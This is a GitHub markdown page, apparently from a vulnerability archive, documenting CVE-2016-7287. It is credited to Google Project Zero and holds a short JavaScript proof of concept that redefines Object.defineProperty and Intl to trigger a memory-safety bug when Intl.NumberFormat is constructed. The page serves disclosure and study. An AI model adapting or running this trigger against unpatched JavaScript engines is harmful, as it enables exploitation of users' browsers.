Skip to content

Latest commit

 

History

History
34 lines (25 loc) · 716 Bytes

CVE-2016-7287.md

File metadata and controls

34 lines (25 loc) · 716 Bytes

CVE-2016-7287

  • Report: Oct 2016
  • Fix: Dec 2016
  • Credit: Natalie Silvanovich, Google Project Zero

PoC

var d = Object.defineProperty;

var noobj = {
  get: function () {
    return 0x1234567 >> 1;
  },
  set: function () { }
};

function f(){
  var i = Intl;
  Intl  = {}; // this somehow prevents an exception that prevents laoding
  d(i, "Collator", noobj);
}

Object.defineProperty = f;

var q = new Intl.NumberFormat(["en"]);

Reference